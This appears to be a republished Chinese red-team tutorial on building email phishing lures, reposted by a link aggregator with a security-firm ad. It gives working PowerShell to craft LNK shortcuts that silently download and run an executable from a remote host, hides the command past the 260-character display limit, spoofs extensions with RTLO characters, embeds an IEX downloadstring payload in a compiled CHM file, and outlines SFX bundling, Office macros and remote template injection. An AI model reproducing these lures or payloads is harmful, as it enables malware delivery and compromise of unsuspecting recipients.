干货 | 邮件钓鱼攻击学习
source link: https://www.heibai.org/post/2011.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
乐山桑云信息技术有限公司(www.sangyun.net)专注于企业安全与网站、小程序、APP架设,为企业客户提供一站式解决方案,帮助企业快速实现互联网+转型。
在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式,由于本人只是个安服仔,接触的比较少(但也不能不学),就有了这篇文章,参考各位大佬的姿势总结一下,顺便让好哥哥们复习一下基础。
Lnk(快捷方式)
可以在“⽬标”栏写⼊⾃⼰的恶意命令,如powershell上线命令等,这里举例为CMD
当我点击谷歌浏览器时,弹出了CMD
可以进行更改图标
快速生成lnk样本
$WshShell = New-Object \-comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21"
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\\\ascotbe.exe');&cmd /c .\\\\ascotbe.exe"
$Shortcut.Save()
powershell -ExecutionPolicy RemoteSigned -file test.ps1
目标文件位置所能显示最大字符串为260个,所有我们可以把执行的命令放在260个字符后面
$file = Get-Content ".\\test.txt"
$WshShell = New-Object \-comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21"
$Shortcut.Arguments = ' '\+ $file
$Shortcut.Save()
文件后缀RTLO
他会让字符串倒着编码
用Python一键生成用,把txt改为png后缀
import os
os.rename('test.txt', 'test-\\u202egnp.txt')
import os
os.rename('cmd.exe', u'no\\u202eFDP.exe')
CHM文档
创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。然后先将下列代码复制到根文件夹中的index.html中
在index.html文件中编辑
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用cs生成修改模版中的calc.exe
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.100:81/a'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用EasyCHM编译
原有模版CMD
使用CS生成木马
创建自解压文件
高级自解压选项
解压路径-绝对路径
提取后运行
修改文件名
ResourceHacker
打开flash安装文件导出资源
替换资源文件
office宏
新建word,创建宏
cs生成宏粘贴
保存为启用宏的文档
打开文档上线
编写一个带有宏代码的DOTM文档,并启用一个http服务将DOTM放置于web下
新建一个任意的模版的docx文档并且解压
编辑settings.xml.rels文件中的Target为我们第一个DOTM的http地址
重新压缩改后缀名为.docx
模拟点击上线
https://www.ascotbe.com/2020/07/26/office_0x01/#LNK%E9%92%93%E9%B1%BC
https://paper.seebug.org/1329/
利用winrar自解压捆版payload制作免杀钓鱼木马[1]
References
[1]
利用winrar自解压捆版payload制作免杀钓鱼木马: https://www.baikesec.com/webstudy/still/77.html
文章来源微信公众号:Chabug
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK